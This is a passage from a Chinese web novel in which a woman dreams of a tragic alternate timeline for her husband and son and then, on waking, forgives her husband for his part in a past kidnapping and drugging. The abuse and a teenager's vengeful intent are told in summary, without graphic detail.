肖楚戎下楼的动静打断了两人的谈话,肖秉文看到他,便对那人说道:“下次再聊。” 那人也知趣,告辞离开,这边便只剩了父子二人。 “你昨天去哪里了?”肖秉文是又火大又心疼,问话的语气稍稍按捺了些情绪,不过也能听出他的不虞。 “我去找她了。” “你在发什么疯,我不是告诉过你不该去打扰她吗?” “我就想知道她为什么不要我。” 对上儿子那委屈的表情还有这张太过相似的脸,肖秉文一时愣住。 “你知道她跟我说什么吗?她说我不该来这里找她,她还说她没有孩子,她不是我的妈妈。她不要我就算了,为什么连我的存在都不肯承认?她这么厌恶我的存在,为什么当年又要生下我呢?” 肖秉文心里也不好受,他体谅张婉如的选择,可他也心疼孩子的遭遇。这些年,没有妈妈在身边,他确实受了许多委屈。 他本来也不想再提这些事的,或许时间久了就能被掩埋,可不提不代表事情没发生过。这些年小戎从未问过关于妈妈的话题,她为什么不要她,为什么离开。可他明白他心里是在意的。 有些事情终究还是得让孩子知道,或许知道了他也能渐渐释怀了。 他靠坐在沙发上,让自己情绪平复一些才冲他道:“你妈妈当年经历过许多痛苦,她之所以跟你说这样的话也有她的苦衷。” “究竟有什么苦衷?究竟有什么苦衷让她对亲生的孩子不闻不问?甚至都不肯承认!她为什么这么冷漠?为什么?” 肖秉文叹了一口气,“你不要怪她,当年她意外怀孕生下你,是逼不得已。” 肖秉文便将曾经发生的事情对儿子缓缓道来,他和张婉如一起被绑架,被变态喂了药,像畜牲一样发-情,还被人拍下。 “那时候的她也不过是个十八岁的小姑娘,就连我遭遇了这些都许久无法释怀,更何况是她呢?她逃避她不愿意面对也只是出于对自己的保护,你去她面前出现一次,就是提醒一次她曾经遭受的一切,就是让她再痛一次,你能明白吗?” 肖楚戎呆住了,父亲从未告诉过他这些,他只说她离开是有苦衷的,却从未告诉过他究竟是怎样的苦衷。 原来如此,原来她还经历过这些。 “那个绑架你们的人抓到了吗?”肖楚戎问道。 “抓到了,但他自杀了,不过这件事靠他一个人是完不成的,我知道他还有个幕后黑手,但具体是谁我不清楚,不过我可以肯定是肖家人。” “肖家人?”肖楚戎沉吟出声,冰冷的眼底渐渐漫出杀意,“既然找不出究竟谁是幕后凶手,那就把剩下那些肖家人全都杀掉好了,最好将跟肖家有关的人都杀掉,这样不管凶手是谁都逃不掉,也不用再花精力去找。” 肖秉文一脸不敢置信向他看去,少年面沉如水,眼底透着冰冷和不顾一切的狠戾。他明白他并不是在跟他说笑。 肖秉文立刻道:“你在说什么?你最好立刻给我打消这样的想法。” 肖楚戎不言,肖秉文声音更严厉了几分,“我的话你听到了吗?” 肖楚戎最终还是向父亲妥协,“我知道了。” 肖秉文只以为他是年少气盛,见他应了他才放下心来。 然而肖楚戎心底却暗下决心,是那幕后黑手让他的生活变成这样,他的痛苦,他母亲的痛苦,他父亲的痛苦,所有一切都是他造成了,他宁愿错杀无数个也绝对不会放过他。 第63章 第63章过来疼我 一转眼,梦境中的画面来到十五年之后。 背负无数人命,作恶多端的肖楚戎被送上了审判台,他被判处死刑,而他的父亲,柳城伟大的企业家肖秉文也因为包庇罪锒铛入狱。创建了商业帝国,曾不可一世的父子两一夜之间死的死败的败,而两人创造出的巨大财富也落入别人手上,可怜辛苦数栽,却是为他人做了嫁衣。 肖楚戎的审判张婉如也去了,在得知肖楚戎被执行死刑之后,张婉如生了一场大病。思绪总回到那天的审判台,在台上的那个有着他骨血的孩子说出那句“如果可以的话,我并不想被出生。” 病痛缠缠绵绵一直不见好,那时候已经五十多岁的张婉如也日渐感觉到体力不支,她申请了提前退休,这些年也攒了一些积蓄,她挑选了一个适合疗养的国家,远赴海外疗养身体。 几十年过后,和当年一样,她再次选择了逃避。 肖秉文出狱时已经快六十了,曾经风光无限的大企业家,再出现时,已是个一无所有颤颤巍巍的老年人。 他经历过的世界已经完全变样,他辛苦创建的商业帝国落入别人之手,他最疼爱的孩子和他阴阳相隔。 而他满身病痛步履蹒跚,再也不是当年那个叱咤商界的商业权贵。肖秉文出狱后的第一件事是去他儿子的坟墓前,一座无碑的坟墓,因为他的罪恶,他连碑都不敢给他立。 他站在坟墓前无声落泪,老态龙钟的身体却经不起情绪起伏,落了片刻的泪便开始浑身颤抖。他颤抖着跌坐在地上,一遍遍抚摸着儿子的孤坟。 肖秉文打听到了张婉如的住址,入狱前他留了一笔财产在国外银行。这么多年的牢狱生涯,加上儿子离世的打击,肖秉文知道自己时日无多,在离世之前他想和张婉如见一面,他不想遗憾终生,他希望死前能对她忏悔,跟她道歉,得到她的原谅,那笔财产他也想留给她。 他打听到她在国外的疗养山庄,肖秉文拖着病弱的身体千里迢迢漂洋过海去找她,有一个专门照顾她的保姆让他稍等,她进去说一声,不久之后出来告诉他。 “抱歉肖先生,张女士不愿意见你,你回去吧。” 她不愿意见他,其实也在他的意料之中,他重重咳嗽了几声,让她再试着说一次,如果她不见,他就一直在这里等着。 保姆叹息一声转身进去了,许久也没再出来。他也没有催促,就静静站在门外,一站就是许久。这个地方她选得真好,周围风景秀丽,院中遍植花草,不远处能看到大海 ,天空湛蓝,云朵像棉花一样漂浮,阳光也是干净而温暖。 这么暖的风吹在身上,可他还是撑不住,咳嗽个不止,咳得出了血。生怕自己狼狈倒下,他撑着拐杖艰难站着,等到太阳落山,等到温柔的阳光从身上离开。 风带了些凉意,他咳得越来越厉害,可张婉如依旧没有出来。 她是真的不愿相见,这么多年了,她还是未能释怀吗?他本不应该强求,可他也知道再不说以后就没有机会了。 身体痛得支撑不住,喘口气都困难,甚至都不知道张婉如能不能听到,他还是费力开了口。 他将当年的事情对她缓缓道来,那一直隐藏起来的真相。当年她不是无缘无故被绑,而是因为他包中的那张照片。 “很抱歉,时隔这么久才让你知道真相,是我连累了你,你所遭遇的一切也有我的原因。小戎不在了,我大概也时日无多,曾经伤害过我们的幕后黑手也死了,我知道这件事应该被掩埋,我不该再拿它来让你困扰,可就是知道自己快死了,我不想在死前留下遗憾和愧疚,我才特意找到你告诉你事情真相。丧子之痛,牢狱之灾,我已经承受了属于我的代价,这些年我也时刻活在愧疚之中,没有一天是快活的。我就快死了张婉如,在死前我将真相告诉你,希望能得到你的宽恕和谅解,我不想抱憾而终。”一口气说了这么多话,他快支撑不住,重重咳嗽了几声,咳出了一大口血,喘了好一会儿他才继续说道:“张婉如,你愿意原谅我吗?愿意在我死前原谅我,让我在死前不留下遗憾吗?” 回应他的是良久良久的沉默。 黑暗在四周扩散,天色已完全黑了下来,他等了许久许久,海面吹来的冷风冻得他瑟瑟发抖,他几乎都站立不稳,可屋中自始至终都没有动静。 张婉如听到了吗?或者根本没听到,或者全程都是他自言自语,又或者听到了,只是不想搭理他。真相或许对她也不重要,他临终前的忏悔对她来说也不重要,他这个人在她眼里就是不重要的。 他也不该强求的,他叹息一声,颤颤巍巍拄着拐杖离开。 几个月之后,他的身体越来越糟糕,在弥留之际,他却还是不甘心,他想见她,想再为自己争取一下得到她的谅解。他让人帮忙联系到国外,就说他临死前想见她最后一面。 他都快死了,她想她应该会来的吧。 可那边却回复她,她不会过来。 那一日他躺在病床上,身上已没了一点力气,只能靠着营养液和呼吸机勉强吊着命。 身体动惮不得,他却一直大睁眼睛看向门口,他在等那个人,等那个熟悉的身影。 他真的快死了,再不见面就没有机会了。 张婉如,会来吗? 张婉如,求你来看我一眼。 他真的有好多好多话跟他说,她不会来吗?她真的不来了吗?哪怕知道他快死了也不愿意来见他一面吗? 睁得太久了,眼睛里蓄了泪从他眼眶中滑下,可骤然间,模糊的视线里出现了那抹熟悉的身影。 他很快认出了她,是张婉如。 五十多岁的张婉如,可她看上去还是那么年轻,她坐在他床边,目光静静凝望着他,没有恨,没有怨,就像在看阔别多年的老朋友。 眼泪不知道什么时候又漫上了眼眶,视线模糊着,他费尽力气想看清她。他颤抖着手想抓住她,可奈何没有力气。在手无力垂落到床上前却落进一双温热的手掌中,是她接住了他的手,她的掌心温暖而柔软,他从未想过张婉如会这样握住他。 “张婉如。”沙哑苍老的声音唤着她 “嗯。”她应声。 “你来了吗?” “我来了。” “我有好多话要跟你说。” “好,你说,我听着。” 她的声音也很温柔,完全不同于她曾对他的冰冷,太过惊喜,原来张婉如还有这般温柔的时候。眼泪将枕头浸湿了,明明已经油尽灯枯的身体,连呼吸都困难,可他却不知哪里来的力气,开始和她说话。 “对不起张婉如,是我对不起你,因为我你遭遇了太多伤痛,我真的很对不起你。也很对不起,我没能养好那个孩子,是我没有教导好他。张婉如,你可以原谅我吗?这么多年了,我再也没有机会跟你说这些话了,在我死前,你能原谅我吗?” 是他的错觉吗,他竟看到张婉如在抹眼泪,她是哭了吗?他抬了抬手想阻止她哭泣,可发现自己连抬手的力气都没有。 “我原谅你。” 他听到她轻声说,这一句原谅他等了太多太多年了,他没想到他真的等到了张婉如这句话。 “真的吗?张婉如,你真的原谅我了吗?” 他想听清楚,想将她每个字清晰印在心里,他努力睁大了眼睛向她看去。可原本坐在床前的张婉如却突然消失了,手上空空,握着他的那只温暖柔软的手也不在了。 用力将泪水从眼眶中挤开,极力睁着眼向床边看去。并没有张婉如,没有那张温柔的脸,也没有她流泪的眼睛,更没有握住他的那只温暖的手。 她并没有出现,门口空荡荡的,耳边只有仪器冰冷的声响。 原来一直都是他在自说自话,原来张婉如并没有出现,方才一切都是他的幻觉。 张婉如没有来,她从未出现过,也从未对他说出原谅的话,到死她都不愿意见他一面。 他大睁着眼睛用尽最后的力气,希望能看到那抹熟悉的身影,只要看到她,只要看到她就好了,不奢求她原谅。 然而落进他眼睛里的从始至终都只有空荡荡的门口,直到他咽气的最后一刻,眼底也只有无人的门口和他无尽的盼望。 张婉如从始至终都未出现。 梦境在肖秉文空洞苍白的眼神中戛然而止,现实里的张婉如也在这一刻惊醒过来。 她大口大口喘着粗气,平复了许久才看清眼前的一切。她躺在熟悉的床上,她和肖秉文的床。 原来在那本小说的时间线里发生的事情是这样的吗?梦中所见的一幕幕还清晰回荡在脑海,小戎遭受的嘲笑,他鼓起勇气去询问她时得到答案之后的悲痛。 在梦中,她就像旁观者一样看着一切,她悲痛欲绝,她想告诉小戎并不是那样的,她痛恨自己为什么那么冷漠。她无奈看着小戎被她刺伤,无奈看着他倒在地上,她比他更痛苦。她痛哭流涕,却又无能为力。 还有多年之后出狱的肖秉文去看她,为什么她要冷漠对他视而不见?明明她就坐在屋中,和他一墙之隔,明明听着他的咳嗽声却还是将他冷漠关在门外。 更可恨的是,即便是在肖秉文弥留之际她也不愿意去看他,梦中最后的画面定格在肖秉文身上,他大睁着眼望着门口,期盼着,失落着,带着悔恨和不甘,连死也不能瞑目。 她也不知道梦中的她为什么会这样,可是现实里的她,做了这一场梦,心里却难过得不行。张婉如捂着脸,哭得不能自已,直到将梦中压抑的情绪完全哭出来,她的心情才好了些。 梦中小说的时间线和现在是不一样的,所以梦中时间线会发生的事情自然也不会再发生。在梦中那本小说时间线里 ,她要在2002年才回柳城,可现实中,她早早就回来了,她和他们父子建立了感情,她改变了许多事情。小戎不会再被人嘲笑,他不会因为没有妈妈而变得偏执狠戾,他也不会成为未来满身罪恶的反派。 肖秉文自然也不会成为帮凶锒铛入狱失去一切,也不会因为丧子之痛和牢狱之灾身心俱疲。 梦中父子两的悲剧不会发生,她也绝对不可能让它发生。 昨夜睡得晚,醒来时已临近中午,张婉如感觉头痛欲裂,她给袁雯打了个电话过去请了一天假。 一场梦让她身体疲惫得不行,她又继续躺在床上,就只想单纯休息,怕睡着,怕再做那可怕的梦。就这般似醒非醒的,一直到下午,模糊中她看到一道身影坐在床边。张婉如猛然惊醒,这才看清坐在床边的人是肖秉文。 夕阳的光从窗外透进来,碎金一般撒在房间,仿若穿越了时间从遥远的时空照过来,整个房间都氤氲出一股恍惚感。 或许是那场梦的作用,看到坐在黄昏光影里的肖秉文总感觉还是梦,直到清醒过来,她意识到已不在那场噩梦中。 正值壮年的肖秉文,不是梦中已年过六旬,颤颤巍巍的衰老模样。 她已从梦中清醒过来,此刻出现在眼前的才是现实。 肖秉文坐在床边,微躬着身体,手肘撑着膝盖,大掌揉着额头,看上去很疲惫。听到动静,他缓缓抬头向张婉如看来,碎金的光落进他眼中,他的眼神显得有些迷离,似乎也和张婉如一样陷入了似梦非梦的状态,目光在她身上停留了好一会儿才说道:“醒了?昨晚太累了吗?” 那场梦虽如电影场景一般出现,可里面发生的事情每一样她都能感同身受。肖秉文跪在小戎墓前泣不成声,他站在她的院子前长久等待,直到身体支撑不住。他弥留之际躺在床上,大睁着眼睛看向门口等待她出现,最后并未等到含恨而终。 站在现在的立场,她不太能理解梦中自己的做法,为什么对肖秉文父子那么冷漠。大概也是因为此,每每想到肖秉文含恨而终死不瞑目的结局她便觉得格外难过。 肖秉文察觉到她看他的眼神很奇怪,有泪水在她眼眶中打转,她身体微微颤抖,仿若遇到让她无比悲伤的事情。尤其那种想靠近却未靠近的踟蹰,就像在害怕什么。 肖秉文沉思片刻,大概猜到原因,目光露出几分无奈和痛意,语气尽量平静问她:“那张照片你看到了?” 张婉如强迫自己从那场噩梦中回神,调整了一下呼吸点点头,“看到了,不过我很好奇,你的钱包里为什么有那样一张照片,那时候我们并不熟悉。” “其实就是觉得照片好看,拍得很好,不管是人还是物都让我满意,那时候不知道怎么想的,就随手塞进了钱包里。” 初见面时张婉如在他印象中是个挺热心的女孩,不过后来得知他跟她继母的干亲关系之后她再看他眼神便不再友好。 可那天,阳光实在太暖,院子里的虞美人开得太美,从花园中经过,落了满身阳光的她看上去温婉柔美,乖得不像话,跟平日里那冰冷的模样判若两人。 把那张照片收起来大概也有这个原因,是真觉得这张照片很好看。可他没想到这张照片会让她受到牵连。 “所以当初周鹏和肖瑜看到这张照片才将我绑架到那间仓库的吗?” “很抱歉我当初没有对你说实话。” 当初肖秉文告诉她,周鹏之所以绑架她,是误会了她是他的侄女,想逼迫他做出违背伦理道德的事情。 可是梦境中,站在她门口忏悔的肖秉文跟她说的远远不止这些。 所以张婉如又问:“肖瑜让我问你真相,这就是当年绑架的全部真相吗?” 肖秉文对上她的目光却沉默下来,肖秉文挺爱冒险,胆子也大,不然也不会自己跑到外面开工厂。他好像从未怕过什么,即便有害怕的,骨子里的大男子主义也不允许他表现出半点。 可现在,有清晰的惧意凝聚在他眼底,他浑身紧绷得不像话。太阳渐落,光影流转,时间好像在这一刻变得缓慢。 张婉如也静静注视着他,耐心等着他的答案。 肖秉文直到临终前才来向她忏悔,那么这个年纪的肖秉文会选择对她隐瞒吗? 也不知道过了多久他终于才开口,微哑的声音染了夕阳,像带着时光的沉重。 “其实在将你绑来前,周鹏曾绑过几个女人来我身边。他想看着我像畜牲一样在他跟前表演,他给我灌药,试图让我丧失理智。药效作用我痛苦不堪,可还是忍下来了。这让周鹏气急败坏,我未能如他的愿,我看到他气急败坏,我知道我暂时取得了胜利。我就是那样的人,越是要对我强硬我反而越不低头。直到后来周鹏看到我钱包里的照片,他将你绑了来。他再一次给我灌药,我试图用我的意志力去反抗,试图让他愿望落空。可是我失败了,我无法解释,为什么会对你有所反应,但我就是未能控制住,和你发生了不愿发生的事情。”他自嘲一笑,“我不想对我的过错做任何辩解,我从未向你说明真相,因为真相中的我是丑陋的。我道貌岸然用别的理由蒙混过关,明明自己有龌蹉的一面,却一直像一个伪君子做出受害者的模样。周鹏和肖瑜固然可恨,我也好不到哪里去。你当年遭受的伤害,就算有大部分是来自周鹏和肖瑜,也有一部分是来自我。” 其实这些年肖秉文也时常懊恼,为什么当年没有忍住,为什么面对其他人的时候他都能控制,为什么面对张婉如就不行。如果当年他忍住了,是不是就不会对她造成伤害,是不是就会让周鹏和肖瑜侮辱折磨他的愿望落空。 可他就是没忍住,他就是很卑鄙无耻在她面前失控,那时候的她也不过是十八岁的小姑娘。 他可以将这一切推给那些药,但只有他很清楚,其实发生这件事也夹杂着他的主观。就是因为此,他就逃脱不掉他是罪魁祸首之一这个事实。 张婉如也确实该恨他。 他想起他这些年常做的那个噩梦,梦里他风烛残年躺在病床上,弥留之际他一直放不下的就是张婉如的原谅。他想亲口对张婉如忏悔,他想在死前乞求她的原谅。 可是他躺在床上等啊等,却未能等到张婉如出现,几乎每一场梦的最后都是以他含恨而终,死不瞑目作为结尾。 这梦折磨得他很痛苦,可是仔细想想,张婉如不愿意见他,不原谅他难道不是应该的吗?张婉如理应恨他啊。 肖秉文其实完全可以将一切责任都推给周鹏,推给肖瑜,推给那些药,可他很清楚他也占一部分原因。他阴暗自私的一面想让他对真相有所保留,可他遭受的良心谴责却又支使他对张婉如说出真相,让她知道他也有私心,有不堪的一面。 这一天迟早都会到来,幕后黑手一落网,当年的事情也会彻底真相大白。肖秉文早已料到,那一次次的噩梦好像也是某种预言。 他知道得知真相的张婉如会跟梦中一样,到死也不肯原谅他。他也知道自己将会一辈子活在痛苦内疚之中,接踵梦中死不瞑目的命运,可他还是将真相告知她了。 张婉如没说话,沉默让氛围变得越发凝重,太阳已西沉,火烫的云霞还在天边滚动,碎金般的光影淡了些。 张婉如也说不清楚听到肖秉文这些话是在意料之外还是在意料之中,在梦中,肖秉文直到意识到自己已快油尽灯枯才找到她,对她说出全部真相,乞求她原谅。 其实她能理解,肖秉文有他的骄傲,骄傲如他,不想承认自己有卑劣不堪的一面,直到暮年,人生快走到尽头时,身上的骄傲早已被无常的世事磨灭干净。他想在死前不留遗憾,想得到宽恕,这才向他坦白。 而正值暮年的肖秉文,骨子里的傲气还在,却还是向她坦白真相,将自己隐藏的不堪摊开给她看。 “张婉如。”肖秉文沙哑着声音开口,噩梦中将死之际,他想求得她的原谅,那些话藏在肚子里,藏了很久,他想通通对她说。在噩梦中他盼望着这样的机会,可现实中他并不想要,现实里走到这一步就离噩梦中的死不瞑目更近一步,可这些话还是要说,梦中无法对她出口的话,还是要说给她听。 “是我伤害了你,对不起,真的对不起,你能原谅我吗?” 是因为光暗下来了吗,他的面色看上去格外沉重,因为疲惫面容看上去苍老了许多。她又想到了梦中的肖秉文,他躺在病床上,眼巴巴望向门口,等待着她,盼啊盼,到死也没能盼到她来,到死也没跟她说出要说的话。 一时梦中场 景重叠,此刻肖秉文就在眼前,他终于告知了她真相,说出了他的道歉。 要原谅他吗? 她想如果没有那些药,她相信他不会做出伤害他的事情,这件事明明就是那些绑架犯的错。 所以她没有梦中的她那般怨恨,更没有和他们父子老死不相往来的决绝。 她甚至庆幸,她回来了,回到他们身边,梦中时间线里发生的一切都不会发生。小戎不会痛苦,也不会杀人,更不会死,肖秉文也不会身陷囹圄疾病缠身死不瞑目。她庆幸,此时此刻她改变了剧情走向,所有的悲剧都不会发生。 张婉如深吸一口气,“我原谅你。” 肖秉文彻底呆住,高大的身体在赤金的光影中微微弯着,身体僵硬得不像话,一动不动看着眼前的她。 长期做那场弥留之际的梦,肖秉文总觉得那是对他的预兆,如果张婉如得知了所有真相,她将永远不会原谅他。所以他能瞒一天是一天。他喜欢极了现在的生活,有孩子,有她。他的家庭幸福美满,冲淡了父母双亡给他留下的阴影。 他无论如何也要将这样的生活延长一点再延长一点,她不想张婉如离开,不想张婉如恨他。 可他也清楚,得知真相之后的张婉如恨他也无可厚非。张婉如会怎么选择呢?会选择离开吗?就像当年一样,无论他怎样挽留都没用。或者恢复到以前的模样,对他冷眼以对,所有的温柔幸福荡然无存。 不管张婉如怎么选都没有错,他明白曾经的伤害对她来说意味着什么,虽然不甘心,虽然痛苦,可他也清楚,或者死不瞑目才是自己的宿命。 所以他没料到她的回应会这么快,她说“我原谅你。” 肖秉文不敢置信,目光呆呆凝望着她,许久许久。久到他感觉长时间不眨眼的刺痛,他这才回过神来。 又怕这一切是幻觉,就像每次噩梦中,弥留之际的那场幻觉。他看到她出现,看到她坐在床边,看着她握着她的手,看着她眼中的泪,她为他哭,她对他说出原谅的话。可是一眨眼她就消失不见,门口空荡荡,张婉如从未来过,所有一切不过是他的幻觉而已。 所以他不确定,喉结滚动片刻,克制着沙哑的嗓音又问道:“张婉如你真的原谅我了?” “真的,我原谅你。” 这一次他听得清晰明白,她原谅了他。 嘴角不自觉勾起笑,眼睛却红得不像话,一开口声音更是哑到不能听。无法形容此刻心底的感受,听到她的原谅,内心应该是释怀的,放松的,可不知道为什么就是感觉很痛很痛。痛到必须要做点什么才能缓解。 “张婉如。”他轻唤她的名字,“过来好吗?” 想她靠近一点,期待着她能为他缓解一下心里的痛,一句简单的话都刮得喉咙难受,他滚动喉结缓解了一下,又接着道:“求求你过来,过来疼疼我。” 第64章 第64章把你当男人的喜欢 光影移动,从他身边渐渐滑过,淡淡一抹光落在他脸上。疲倦的脸上,一双眸子没有了以往的锋利,眼底满是红晕,高大挺拔的男人竟露出几分脆弱。 他总那么骄傲,又有一点大男子主义。她想起了那次肖家二老过世,肖秉文有一段时间过得很颓丧,那一日他也露出颓态,她说她会疼他,而他却嘴硬,说老爷们儿不需要人疼。 “要疼也该是老爷们儿疼你。”他对她说。 而现在老爷们儿却妥协了,主动乞求她疼他,像乞求着她救他的命一样。 张婉如走上前,他期盼着她过来,可她过来了他又一动不动,身体依旧僵硬,仿若不是自己的,动一下都不能。 他只是微抬眼看着她,眼眸是红的,脸上却对她笑着。 “要我怎么疼你?”张婉如冲他道。 他沉默片刻才开口,声音依旧沙哑,“抱我。” 有太多情感需要宣泄,可他不贪心,只要抱抱她就行。 只是他没想到,她直接勾着他的脖子跨坐上他的腿。身体接触的那刻,他几乎是立刻就将她搂进怀里,她纤细的腰身被他高大的身躯衬得娇小玲珑,他却将她当做支撑用的柱子般,脑袋靠在她肩头。 深重呼吸了几下,他压低着声音问:“为什么愿意原谅我,真的原谅我吗?” 还是不确定。 “嗯,我原谅你。”张婉如放柔了声音,“如果说我没有回来这里,没有与你和小戎一起生活过,我对你是可原谅可不原谅,我可以对你们冷漠而没有心理负担。可是我跟你们一起生活过,我珍惜和你们在一起的时光。我知道那件事错并不在你,虽然你觉得是你没有忍住,可罪魁祸首是绑架我们的那两个人。” 他缓缓从她肩上抬起头,张婉如看到他眼角溢出的一点泪光,此刻,这个平日里总担事的老爷们儿却可怜得让人心疼。 灰暗的眼底不知何时注入了光,眼底闪烁着笑意,他扶着她的腰,抵着她的头,有许多话想说,可是话到嘴边又觉得一切尽在不言中,说再多也显得苍白,再也没有比如今能互相拥抱,互相感受彼此体温更有力的言语了。 沉默了片刻,他微歪头,将唇印了上去。她的唇太软,每次压上去就容易勾得人深陷其中,会让他不自觉加重力道,可这一次他却吻得很轻很轻,不仅是因为此刻僵硬的身体使不上力气,还有体内太复杂的情感让他变得小心翼翼。 他是个粗人,上头时容易犯浑,变得像个混账。这会儿明明有太多情绪在心头涌动,可发泄出来时却这般小心翼翼。 轻柔吻着含着,清晰感觉着太多情绪在体内碰撞,浑身开始变的紧绷,青筋像藤蔓一样缠上他的手臂,可搂在她腰上的手依旧温柔的,落在她唇上的吻依旧是浅浅的。 不知持续了多久才松开,肖秉文额头抵着她的额头,静静的,一时谁都没有说话。吻过一场,肖秉文体内的情绪平复了一些,这会儿什么都不想做,就想静静抱着她。 张婉如却被他这个吻弄得心痒,肖秉文每次吻她都会越来越深,有时候恨不得将她整个吞下去。这一次却温柔缠绵,太容易让人沉醉。 张婉如平复了一会儿才问出自己心头的疑惑,“那张照片你为什么要放在钱包里?” 肖秉文沉默片刻才说道:“当时只觉得照片很好看就放钱包里了,我也没想到那照片竟将你牵扯进来。” “你……”张婉如触及到曾经的回忆让她有些不舒服,可这个疑惑一直在心头盘桓,她做了一下心理准备才问出口,“为什么你会对我有感觉?就……你不是说,他们之前还给你找过女人吗?” 肖秉文明白她指的是什么,那抵着她的额头微微抬起,目光对上她,她也正看着他,不知是不是才吻过,她眼底透着几许迷离,一双眸子也显得越发水润。 明明如此柔和的视线肖秉文却仿若被刺了一下,他道:“我也说不清楚,有时候我也在问自己,当时为什么不能再忍忍,当然我也不想为自己辩解什么,或许我本身就是个禽兽。” 他说话的语气带着愧疚,不过这个答案却并未让张婉如满意,当然她也没有再继续追问,轻轻点了点头。 就在这时,外面响起开门的声音,张婉如回过神来,知道是小戎放学回来了。 “小戎回来了,我去看看。” 肖秉文却没动,那手还停在她腰上,片刻后才依依不舍放开她,张婉如从他怀中下来,经受过虚惊一场的肖秉文这会儿情绪还未平复,又揽过她的腰将她抱了抱。 张婉如看了一眼靠在他腰上的头,揉了揉他的头发说道:“一会儿再疼你好不好?” 他松开了她,微抬头,眼底藏着笑意看她,“好。” 张婉如出了门,小戎是被赵阿姨接回来的。 看到他张婉如便又想到自己的梦中所见,十五岁 的少年苍白着一张脸出现在她面前,问她为什么不要他,那委屈痛苦的模样依旧清晰刻在脑海。 可是梦中的自己却对他那么残忍,甚至都不愿意承认他是她的孩子。 张婉如蹲在小戎跟前,眼前的小戎才六岁,不是多年之后渴望母爱却又得不到的少年。想着梦中的一幕幕,想着他因为没有母亲总被人当作痛处来攻击,想着自己对他视而不见,想着他最后的结局。 一时情绪翻涌,张婉如忍不住将他搂在怀中。一切都还没有发生,时间线和梦中是完全不一样的,她回来了,回到了他们父子身边,她会尽她所能阻止未来的悲剧。 被妈妈抱住的小戎不明所以,不过小小的手臂也回搂住她,轻声问道:“妈妈怎么了?” 张婉如抱了一会儿才抬头看向儿子,白嫩嫩的小脸蛋上一双眼睛大而清澈。 “我不是你妈妈。” 梦中她无情而冷漠对他说出这句话,年少的他因为这句话深受打击晕倒在地。 此刻她温柔抚摸着他的脸,微笑着冲他道:“妈妈就想抱抱你。小戎你知道吗?妈妈很爱你。” 梦中所见让她心痛,少年肖楚戎在痛苦晕倒在地时,会不会曾期盼她会对他说出这句话呢? 妈妈的话让小戎完全愣住,妈妈说她爱他。 小戎还记得他曾听人说过,说妈妈并不爱他,不然当年也不会抛弃小小的他离开。那时候他很想问问,妈妈是不是跟别人说的一样不爱他,但他不敢开口。 他没想到有一天妈妈会主动对他说爱他。 他现在知道了,妈妈是爱他的,是那些人胡说八道。 小小的心脏因为妈妈的话砰砰跳个不停,眼底也不自觉透出一抹亮色,面对妈妈的目光他却有些不好意思,可他很开心,所以他也冲妈妈说道:“我也爱妈妈。” 张婉如忍着眼泪,又将他一把抱在怀中。 不一样的,此刻他并不是那个少年,而她也不是那个冰冷无情的张婉如。他还小,她还来得及让他知道。 他一直不得的,一直渴求的母爱,她通通都给他。 肖秉文站在门口看着抱在一起的母子,母子俩温馨的氛围也分了些在他身上,他心底的担忧和痛苦被减轻了许多。 没有他以为的家庭破碎,她还愿意留在他们父子身边,他们依旧是幸福美满的一家人。 肖秉文看着看着,不自觉笑了。 晚上,卧室里只开了一盏小小的台灯,肖秉文和张婉如侧躺在床上,眼对着眼,彼此都没有睡意。眼眸里倒映着对方的身影,恨不得将对方牢牢印刻在眼底。 张婉如是因为那场噩梦,梦中的她对他冷漠到底,连他死都不愿意去看一眼。噩梦中的肖秉文躺在病床上,脸上皱纹沟壑纵横,一双眼睛死死盯着门口,期盼着,失落着,慢慢走向生命尽头,最后剩下一双大而空洞的眼睛,抱憾而逝,无法瞑目。 眼前的肖秉文正值壮年,岁月还未在他脸上留下痕迹,那一场晚年的悲剧不会有,也不会落得个死不瞑目的结局。 肖秉文是因为虚惊一场的释怀,愧疚了这么多年,终于将真相告知,以为迎接自己的是妻离子散的命运,一场场噩梦也像某种预告,却没想到最后能得到她的原谅。 此刻什么都不用说,什么都不用做,就这般静静看着彼此,感受彼此的体温,确定对方在身边,这样才能将各自噩梦带来的负面情绪渐渐平复下去。 张婉如捧上这张脸,噩梦中的他着实让人心疼。确定他还在身边,确定他还好好的,确定噩梦中的那场悲剧因为她的改变不会再出现。 心情平复了一些,她问他:“如果我没有回来,你会不会跟别的女人结婚?” 他微阖眼在他掌心上贴紧一些,每次她摸他脸时他总有这样的回应。很乖顺,像一只小动物,张婉如心中欢喜。 “为什么突然问这个?” “就想知道。” “我不知道。” “不知道?” “没发生过的事情,我没办法预测。” 张婉如点头,是啊,没发生的事情他没办法预测。可是在那场梦中,她看到了未来时间线里发生的事情,肖秉文终身未婚。 以他的条件,要结婚轻而易举,多的是女人愿意做他的太太,可他为什么不结婚呢?就那样抱着愧疚过了一辈子,最后还死不瞑目。 有个问题她一直想问肖秉文,但又不好意思问,总觉得问出口会很难为情。或许是那场噩梦让张婉如心有余悸,人生在世要珍惜所拥有的,不能留下遗憾。 而她也想尽快给这个问题找个答案。 所以在沉默片刻之后,她对着他的眼,很郑重问他:“肖秉文,你喜不喜欢我?” 问得直白而干脆,好像在问“肖秉文,我们明天吃什么”。可话问出口张婉如就感觉到了胸口砰砰砰的跳动。 肖秉文正静静感受两人呼吸相融的氛围,骤然听到这话,微抬眼向她看去。目光带着疑问,并不算强烈,张婉如却感觉心跳得更快。 “嗯?” 这微扬语调的嗯字表达了他的诧异。 张婉如觉得吧,她也不该那么矫情,两个人在一起好好过日子不就行了吗?反正现在她是他老婆,在意那么多干什么呢? 可就是不甘心,她很清楚意识到自己内心对他的在意,是的,她喜欢他,所以她就想得到他的回应,就想知道他心里怎么想的。 也真是奇怪,又不是十几岁的少女了,可想着这些,心跳还是莫名加快。 可她是真想知道,她对着他的脸,平复了一下过快的心跳,故意用一种闲聊般的语气又说道:“你喜欢我吗?” 肖秉文目光渐渐收紧,他下意识向她靠近一些,紧盯着她的眼。他和张婉如作为夫妻,在其他人看来算是感情不错,两人也跟其他夫妻一般,一起生活一起睡觉一起养孩子。可两人从未触及过男女之情这个话题。因为彼此都心知肚明,他们是因为什么才结合在一起的。夫妻之间,有夫妻之情就行了,有没有男女之爱好像也不是那么重要。 实际上肖秉文也常这样想,可总归人有时候是贪心的,每每两人亲密时,他也在想,张婉如在说着他是她的男人的时候究竟是出于夫妻情-趣还是多少有点喜欢他。 只不过作为男人,他也不想患得患失的,那么感情用事,没事去问她这个,能好好过日子不就行了吗? 